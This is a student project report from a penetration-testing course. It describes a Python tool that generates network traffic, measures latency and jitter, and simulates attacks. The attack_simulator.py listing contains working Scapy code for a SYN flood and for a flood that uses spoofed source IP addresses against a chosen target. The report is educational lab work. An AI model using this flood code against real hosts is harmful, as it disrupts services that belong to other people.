



Troy University
College of Arts and Science
Computer Science Department

Traffic Generation and Analysis Tool (TGAT)

Authors:

1699477 Mihir Patel
1699477 Mihir Patel
studentid_Nilesh_Hadiyel

Course:

Adv. Penetration Testing and Networking

Proffesor:

Dr. Suman Kumar

Date: 05/04/2025

Introduction

Modern computer networks depend on understanding and evaluation of network security, performance, and response to different situations. The Python-based TGAT (Traffic Generation and Analysis Tool) project uses PyQt6 to produce a graphical user interface. It is meant to replicate common assaults (like SYN Flood and DDoS), evaluate network performance measures (latency, jitter, throughput, etc.), and show the acquired data. The goal is to create a useful, instructional tool for monitoring and assessing network activity.

Objective

- Generate and control traffic to test network response.
- Analyze key metrics like latency, jitter, and packet loss.
- Simulate network attacks to study vulnerability.
- Provide clear graphical and tabular outputs.
- Log all activities with timestamps.

Methodologies Used

- Designed using PyQt6 for GUI, the application organizes traffic generating, performance analysis, simulated attacks, and logs into tab-based layouts.
- Network packets are produced using Scapy, therefore enabling low-level traffic control including TCP, UDP, and ICMP.
- Real-time performance measurements—latency, jitter, packet loss, and throughput—are gathered by the system ping command.
- Matplotlib shows line graphs for measurements on a rotational basis by means of integration with the GUI.
- Using repeated or faked packets created by Scapy, SYN Flood and DDoS simulations are attained.
- Every activity is logged into a basic log.txt file using timestamps.

Tools and Technologies

- Python 3.13
- PyQt6 (GUI Framework).
- Scapy (for network packet crafting and sending).
- Matplotlib (for plotting performance metrics).
- Windows OS (project was developed and tested on Windows).

Project Components

- **main.py:** Main application window containing all GUI tabs and control logic.
- **traffic_generator.py:** Sends TCP, UDP, or ICMP packets based on user input.
- **performance_analyzer.py:** Executes ping tests and calculates latency, jitter, etc.
- **attack_simulator.py:** Simulates SYN flood and DDoS attacks using Scapy.
- **log.txt:** Captures actions and operations performed through the UI.

Code Snippet

```
C: > Users > mihir > OneDrive > Desktop > Assignment Dr. Suman > TGAT Project > attack_simulator.py > ...

1  from scapy.all import IP, TCP, send, get_if_list
2  import random
3  from datetime import datetime
4
5  def log_action(message):
6      timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
7      with open("log.txt", "a") as f:
8          f.write(f"[{timestamp}] {message}\n")
9
10 def get_default_iface():
11     interfaces = get_if_list()
12     if interfaces:
13         return interfaces[0]
14     return "lo"
15
16 def syn_flood(target_ip, count=100):
17     iface = get_default_iface()
18     for _ in range(count):
19         packet = IP(dst=target_ip) / TCP(dport=80, flags="S")
20         send(packet, iface=iface, verbose=0)
21         log_action(f"SYN Flood: Sent {count} packets to {target_ip} via {iface}")
22
23 def ddos_attack(target_ip, count=100):
24     iface = get_default_iface()
25     for _ in range(count):
26         spoofed_ip = ".".join(str(random.randint(1, 254)) for _ in range(4))
27         packet = IP(src=spoofed_ip, dst=target_ip) / TCP(dport=80, flags="S")
28         send(packet, iface=iface, verbose=0)
29         log_action(f"DDoS Simulation: Sent {count} spoofed packets to {target_ip} via {iface}")
30
```

C: > Users > mihir > OneDrive > Desktop > Assignment Dr. Suman > TGAT Project > performance_ana

```
1  from ping3 import ping
2  import time
3  from datetime import datetime
4
5  def log_action(message):
6      timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
7      with open("log.txt", "a") as f:
8          f.write(f"[{timestamp}] {message}\n")
9
10 def analyze_network(ip, count=5):
11     results = []
12     prev_latency = None
13
14     for _ in range(count):
15         start = time.time()
16         delay = ping(ip)
17         end = time.time()
18
19         if delay is not None:
20             latency = delay * 1000
21             jitter = abs(latency - prev_latency) if prev_latency else 0
22             throughput = 1500 * 8 / (delay if delay > 0 else 1)
23             results.append({
24                 "latency": round(latency, 2),
25                 "jitter (ms)": round(jitter, 2),
26                 "packet loss": 0,
27                 "throughput (bps)": round(throughput, 2)
28             })
29             prev_latency = latency
30         else:
31             results.append({
32                 "latency": 0,
33                 "jitter (ms)": 0,
34                 "packet loss": 1,
35                 "throughput (bps)": 0
36             })
37         time.sleep(0.2)
38
39     log_action(f"Performance analysis done on {ip} with {count} pings")
40     return results
41
```

```

C: > Users > mihir > OneDrive > Desktop > Assignment Dr. Suman > TGAT Project > traffic_generator.py > ...
1 |
2 | from scapy.all import IP, TCP, UDP, ICMP, send, get_if_list
3 | import time
4 |
5 | from datetime import datetime
6 |
7 | def log_action(message):
8 |     timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
9 |     with open("log.txt", "a") as f:
10 |         f.write(f"[{timestamp}] {message}\n")
11 |
12 |
13 | def get_default_iface():
14 |     interfaces = get_if_list()
15 |     return interfaces[0] if interfaces else "lo"
16 |
17 | def generate_traffic(dst, protocol='TCP', packet_size=100, count=10, delay=0.1):
18 |     data = "X" * packet_size
19 |     iface = get_default_iface()
20 |     for _ in range(count):
21 |         if protocol.upper() == 'TCP':
22 |             pkt = IP(dst=dst)/TCP(dport=80)/data
23 |         elif protocol.upper() == 'UDP':
24 |             pkt = IP(dst=dst)/UDP(dport=80)/data
25 |         elif protocol.upper() == 'ICMP':
26 |             pkt = IP(dst=dst)/ICMP()/data
27 |         else:
28 |             return
29 |         send(pkt, iface=iface, verbose=False)
30 |         time.sleep(delay)
31 |     log_action(f"Sent {count} {protocol} packets to {dst} using interface {iface}")
32 |

```

UI Design and Navigation

There are four main UI tabs:

- **Traffic Tab:** Target IP, protocol (TCP/UDP/ICMP), packet size, number of packets, and delay allowed by Traffic Tab. Traffic starts with a button.
- **Analyzer Tab:** Accepts a destination IP, does ping tests, presents metrics in a table, and shows graphs—one at a time, rotated using a "Next Graph" button.

- **Attack Tab:** Target IP and packet count are entered from Attacks Tab; buttons initiate SYN Flood and DDoS. The status label shows success/failure.
- **Logs Tab:** Show all logged activity in Logs Tab. Also, let's clear the log and export it to a file.

Innovation and Enhancement

- One graph at a time presentation improves readability over messy multiple-panel charts.
- Modern dark theme with abstract backdrop improves UX by means of cleanliness.
- Status messages let the user know about all the action.
- Every UI input and logic check is verified; actions are recorded.
- Real-time created traffic and faked IP simulations mirror network activity.

Limitation and Future Scope

- Packet forwarding might call for administrator rights based on OS or firewall setup.
- Currently just sends traffic; Scapy sniffers or Wireshark allow one to enhance this by capturing and analyzing arriving traffic.
- Including live graph updates, custom protocol support, and multi-target testing will help the project go even further.

Conclusion

TGAT presents a successful model of traffic creation, analysis, and attack simulation. Its modular, instructional architecture makes it helpful for first network testing in laboratories or workshops as well as for learning. Based on future academic or professional needs, the interactive project might be expanded further, reflecting important real-world networking ideas.